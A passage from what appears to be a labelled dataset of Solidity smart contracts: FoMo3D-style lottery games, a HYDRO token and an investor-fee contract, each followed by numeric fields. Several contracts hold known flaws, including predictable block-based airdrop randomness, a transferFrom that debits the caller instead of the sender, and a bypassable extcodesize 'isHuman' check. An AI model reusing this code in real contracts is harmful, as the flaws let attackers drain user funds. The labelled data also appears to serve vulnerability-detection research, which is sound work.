plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 2000000000000000000)
{
uint256 _availableLimit = (2000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(35)) / 100;
uint256 _com = (_pot / 5);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 10;
uint256 _com = _eth / 10;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = (_eth / 10).add(_eth / 50);
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(33)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,789 |
pragma solidity ^0.4.15;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
}
contract basicToken {
function balanceOf(address) public view returns (uint256);
function transfer(address, uint256) public returns (bool);
function transferFrom(address, address, uint256) public returns (bool);
function approve(address, uint256) public returns (bool);
function allowance(address, address) public view returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ERC20Standard is basicToken{
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) public balances;
function transfer(address _to, uint256 _value) public returns (bool success){
require (_to != 0x0);
require (balances[msg.sender] > _value);
require (balances[_to] + _value > balances[_to]);
_transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){
require (_to != 0x0);
require (balances[msg.sender] > _value);
require (balances[_to] + _value > balances[_to]);
require (allowed[_from][msg.sender] >= _value);
_transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value);
return true;
}
function _transfer(address _from, address _to, uint _value) internal {
balances[_from] -= _value;
balances[_to] += _value;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract HydroToken is ERC20Standard, owned{
event Authenticate(uint partnerId, address indexed from, uint value);
event Whitelist(uint partnerId, address target, bool whitelist);
event Burn(address indexed burner, uint256 value);
struct partnerValues {
uint value;
uint challenge;
}
struct hydrogenValues {
uint value;
uint timestamp;
}
string public name = "Hydro";
string public symbol = "HYDRO";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (uint => mapping (address => bool)) public whitelist;
mapping (uint => mapping (address => partnerValues)) public partnerMap;
mapping (uint => mapping (address => hydrogenValues)) public hydroPartnerMap;
function HydroToken() public {
totalSupply = 11111111111 * 10**18;
balances[msg.sender] = totalSupply;
}
function whitelistAddress(address _target, bool _whitelistBool, uint _partnerId) public onlyOwner {
whitelist[_partnerId][_target] = _whitelistBool;
Whitelist(_partnerId, _target, _whitelistBool);
}
function authenticate(uint _value, uint _challenge, uint _partnerId) public {
require(whitelist[_partnerId][msg.sender]);
require(balances[msg.sender] > _value);
require(hydroPartnerMap[_partnerId][msg.sender].value == _value);
updatePartnerMap(msg.sender, _value, _challenge, _partnerId);
transfer(owner, _value);
Authenticate(_partnerId, msg.sender, _value);
}
function burn(uint256 _value) public onlyOwner {
require(balances[msg.sender] > _value);
balances[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
}
function checkForValidChallenge(address _sender, uint _partnerId) public view returns (uint value){
if (hydroPartnerMap[_partnerId][_sender].timestamp > block.timestamp){
return hydroPartnerMap[_partnerId][_sender].value;
}
return 1;
}
function updatePartnerMap(address _sender, uint _value, uint _challenge, uint _partnerId) internal {
partnerMap[_partnerId][_sender].value = _value;
partnerMap[_partnerId][_sender].challenge = _challenge;
}
function updateHydroMap(address _sender, uint _value, uint _partnerId) public onlyOwner {
hydroPartnerMap[_partnerId][_sender].value = _value;
hydroPartnerMap[_partnerId][_sender].timestamp = block.timestamp + 1 days;
}
function validateAuthentication(address _sender, uint _challenge, uint _partnerId) public constant returns (bool _isValid) {
if (partnerMap[_partnerId][_sender].value == hydroPartnerMap[_partnerId][_sender].value
&& block.timestamp < hydroPartnerMap[_partnerId][_sender].timestamp
&& partnerMap[_partnerId][_sender].challenge == _challenge){
return true;
}
return false;
}
} | 0 | 1,110 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner = msg.sender;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Investors is Ownable {
address[] public investors;
mapping (address => uint) public investorPercentages;
function addInvestors(address[] _investors, uint[] _investorPercentages) onlyOwner public {
for (uint i = 0; i < _investors.length; i++) {
investors.push(_investors[i]);
investorPercentages[_investors[i]] = _investorPercentages[i];
}
}
function getInvestorsCount() public constant returns (uint) {
return investors.length;
}
function getInvestorsFee() public constant returns (uint8) {
if (now >= 1577836800) {
return 1;
}
if (now >= 1546300800) {
return 5;
}
return 10;
}
} | 1 | 3,553 |
pragma solidity ^0.4.24;
contract RSEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularRatScam is RSEvents {}
contract RatScam is modularRatScam {
using SafeMath for *;
using NameFilter for string;
using RSKeysCalc for uint256;
RatInterfaceForForwarder constant private RatKingCorp = RatInterfaceForForwarder(0x5edbe4c6275be3b42a02fd77674d0a6e490e9aa0);
RatBookInterface constant private RatBook = RatBookInterface(0x89348bf4fb32c4cea21e4158b2d92ed9ee03cf79);
string constant public name = "RatScam Round #1";
string constant public symbol = "RS1";
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => RSdatasets.Player) public plyr_;
mapping (uint256 => RSdatasets.PlayerRounds) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
RSdatasets.Round public round_;
uint256 public fees_ = 60;
uint256 public potSplit_ = 45;
constructor()
public
{
}
modifier isActivated() {
require(activated_ == true, "its not ready yet");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "non smart contract address only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too little money");
require(_eth <= 100000000000000000000000, "too much money");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_.end && round_.ended == false && round_.plyr != 0)
{
RSdatasets.EventReturns memory _eventData_;
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
